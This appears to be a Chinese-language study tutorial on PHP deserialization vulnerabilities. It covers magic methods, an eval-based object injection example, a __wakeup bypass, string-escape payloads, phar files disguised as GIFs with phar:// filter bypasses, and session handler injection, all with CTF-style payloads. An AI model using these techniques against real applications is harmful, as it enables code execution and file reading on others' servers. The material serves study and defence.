概念

序列化和反序列化

序列化示例

<?php

class test{

    public $name = 'P2hm1n';  

    private $sex = 'secret';  

    protected $age = '20';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);
#O:4:"test":3:{s:4:"name";s:6:"P2hm1n";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}
?>

关键函数 serialize():将PHP中创建的对象,变成一个字符串

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00*%00成员名

关键要点:

在Private 权限私有属性序列化的时候格式是 %00类名%00属性名

在Protected 权限序列化的时候格式是 %00*%00属性名

请记住,序列化只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:

(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在

这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。

(2)我们在反序列化攻击的时候也就是依托类属性进行攻击

因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象)

反序列化示例

<?php

$object = 'O:4:"test":3:{s:4:"name";s:6:"P2hm1n";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}';

$test = unserialize($object1);

print_r($test3);

?>

关键函数 unserialize():将经过序列化的字符串转换回PHP值

当有 protected 和 private 属性的时候记得补齐空的字符串

__wakeup()魔术方法

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

序列化public private protect参数产生不同结果

private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3

<?php
class test{
    private $test1="hello";
    public $test2="hello";
    protected $test3="hello";
}
$test = new test();
echo serialize($test);  
//  O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>

产生原因

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的.

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

需要具备反序列化漏洞的前提:

必须有 unserailize() 函数

unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数

PHP的魔法方法

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法如下:

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2) __wakeup() :unserialize()时会自动调用
(3) __destruct():当对象被销毁时会自动调用。
(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5) __get() :当从不可访问的属性读取数据
(6) __call(): 在对象上下文中调用不可访问的方法时触发

其中特别说明一下第四点:

这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()addslashes()(7)in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

常见攻击

例题1

<?php
class K0rz3n {
    private $test;
    public $K0rz3n = "i am K0rz3n";
    function __construct() {
        $this->test = new L();
    }

    function __destruct() {
        $this->test->action();
    }
}

class L {
    function action() {
        echo "Welcome to XDSEC";
    }
}

class Evil {

    var $test2;
    function action() {
        eval($this->test2);
    }
}

unserialize($_GET['test']);

由于反序列化,我们可以可控类里面的参数,只要test2更改为恶意代码就可以利用K0rz3n进行执行

payload

<?php
class K0rz3n {
    private $test;
    function __construct() {
        $this->test = new Evil;
    }
}


class Evil {

    var $test2 = "phpinfo();";

}

$K0rz3n = new K0rz3n;
$data = serialize($K0rz3n);
file_put_contents("seria.txt", $data);
image-20240703165137530

更复杂的利用是要构造链子来进行利用

即POP链

__wakeup()函数绕过

漏洞影响版本

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞原理及要点

__wakeup()函数触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得 __wakeup()函数失效。当成员属性数目大于实际数目时会跳过 __wakeup()函数的执行。

<?php

class obj implements Serializable {

var $data;

function serialize() {

return serialize($this->data);

}

function unserialize($data) {

$this->data = unserialize($data);

}

}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';

$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

echo $data[1];

?>

反序列化字符逃逸

前置知识:

特点1:php在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 ,超出的部分并不会被反序列化成功,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以";}\结束的,那如果把";}\添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。
特点2:长度不对应会报错

漏洞产生:反序列化之所以存在字符逃逸,最主要的原因是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)。

漏洞常见条件:序列化后过滤再去反序列化

一替换修改后导致序列化字符串变长

示例代码:

<?php
function filter($str)
{
    return str_replace('bb', 'ccc', $str);
}
class A
{
        public $name = 'aaaa';
        public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>

由于该代码中,输入的对象用户不可控,利用字符串逃逸我们仍然可以修改属性值

因为经过filter

由于属性的长度,经过php反序列化解析,每当字符串存在一个bb就会逃逸一个字符,如果逃逸的字符中存在;s:4:"pass";s:6:"hacker";}

会导致解析提前闭合,进而间接修改属性pass

二替换之后导致序列化字符串变短

示例代码

<?php
function str_rep($string){
	return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

首先,我们的目的是要利用这个str_rep,通过输入namesign来间接修改number的值

思路

由于name可以进行覆盖,我们可以利用name覆盖掉sign的前部分值,然后中间部分用来闭合前面的属性值,后面部分用来覆盖number值并提前闭合

我们要修改number的值,就要在sign中加入";s:6:"number";s:4:"2000";}长度为27

在str_rep函数中如果检测到’php’、'test’关键字就把其替换为空,那么就利用这一点,我们故意输入敏感字符,替换为空之后来实现字符逃逸。我们在name中输入了输入了6个test,替换为空后这样就腾出了24个字符的空间,正好包含进了";s:4:“sign”;s:54:“hello,由于”;s:4:“sign”;s:54:“hello成了name的内容,所以我们还要在后面加个”;s:4:“sign”;s:4:"eval作为sign序列化的内容

这里是如何进行计算的?

我们要恰好保证name经过过滤后会覆盖掉原有的sign

sign其实是可以部分确定的,";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}长度为49

s:4:"name";s:??:"|";s:4:"sign";s:??:"|sign_value"

要恰好覆盖分割线之间的部分,也就是要逃逸19个字符,但是逃逸的字符必须是3或4的倍数,那么我们就假设逃逸24个,在sign_value前补充5个垃圾字符hello即可

24/4=6,name的值是6个test

最终的payload

?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}

image-20240703181936938

phar反序列化

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

由于代码安全性越来越高,利用难度越来越大,假如没有unserialize没了传参接口就无法进行利用

前置知识

phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
具体文章https://paper.seebug.org/680/
首先了解一下phar文件的结构,一个phar文件由四部分构成:

  • a stub:可以理解为一个标志,格式为xxx<?php xxx; **HALT_COMPILER();?>,前面内容不限,但必须以**HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
  • the file contents:被压缩文件的内容。
  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

通俗的理解就是php文件系统很大一部分函数经过phar://解析时,存在着对meta-data(在这里<meta-data>区域面搞反序列化的pop链)反序列化的操作

利用条件

1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且   ./    ../    phar等特殊字符没有被过滤

文件操作函数

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :

image-20240703192958671

绕过方法

(1)phar://被过滤
有以下几种方法可以绕过:

  • compress.bzip2://phar://
  • compress.zlib://phar:///
  • php://filter/resource=phar://
  • $z = ‘compress.bzip2://phar:///home/sx/test.phar/test.txt’;

(2)除此之外,我们还可以将phar伪造成其他格式的文件。
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
class User {
    public $db;
    public function __construct(){
        $this->db=new FileList();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $this->files=array(new File());
        $this->results=array();
        $this->funcs=array();
    }
}

class File {
    public $filename="/flag.txt";
}

$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();

最后把文件上传后进行利用?filename=phar://shell.jpg

这里文件上传还要改改文件类型和文件名绕过

session反序列化

理解php的session之前先了解一下session是什么,这里引用百度的描述,比较官方
Session:
在计算机中,尤其是在网络应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在Session对象中。不过不同语言的会话机制可能有所不同。

PHP session:
可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

session的工作流程:
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

seesion_start()的作用:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

php.ini中一些Session配置:
1、session.save_path=“” --设置session的存储路径
2、session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
3、session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
4、session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

常见的php-session存放位置有
1、/var/lib/php5/sess_PHPSESSID
2、/var/lib/php7/sess_PHPSESSID
3、/var/lib/php/sess_PHPSESSID
4、/tmp/sess_PHPSESSID 5 /tmp/sessions/sess_PHPSESSED
5、phpstudy集成环境下在php.ini里查找session.save_path,也可以在这里更改路径

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

注:自 PHP 5.5.4 起可以使用 _php*serialize*
上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有php和 php_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(| 和 !) 。
注:查看版本,注意:在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize,这里面是php_serialize,同时意识到 在index界面的时候,设置选择的是php,因此可能会造成漏洞
下面我们实例来看看三种不同处理器序列化后的结果。

<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

比如这里我get进去一个值为abc,查看一下各个存储格式:

  • php : lemon|s:3:“abc”;
  • php_serialize : a:1:{s:5:“lemon”;s:3:“abc”;}
  • php_binary : lemons:3:“abc”;

这有什么问题,其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。

漏洞造成原理:

简单来说php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。

形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

举个例子

定义一个session.php文件,用于传入session

文件内容为

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

先看看session的初始内容,如下

a:1:{s:7:"session";s:5:"hello";}

存在另一个class.php文件,内容如下

<?php
    error_reporting(0);
  ini_set('session.serialize_handler','php');
  session_start();
    class XianZhi{
    public $name = 'panda';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
  }
  $str = new XianZhi();
 ?>

然后实例化对象后,输出panda

这两个文件的作用很清晰,session.php文件的处理器是php_serializeclass.php文件的处理器是phpsession.php文件的作用是传入可控的 session值,class.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值。

这两个文件如果想要利用session反序列化漏洞 ,我们要在session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候,就会在调用session值的时候,触发此 BUG。

首先生成序列化字符串

<?php

class XianZhi{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
}
    $str = new XianZhi();
    $str->name = "xianzhi";
    echo serialize($str);
  ?>

payload:O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}

然后传入session.php

url?seesion=|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}

再次访问class.php

发现触发成功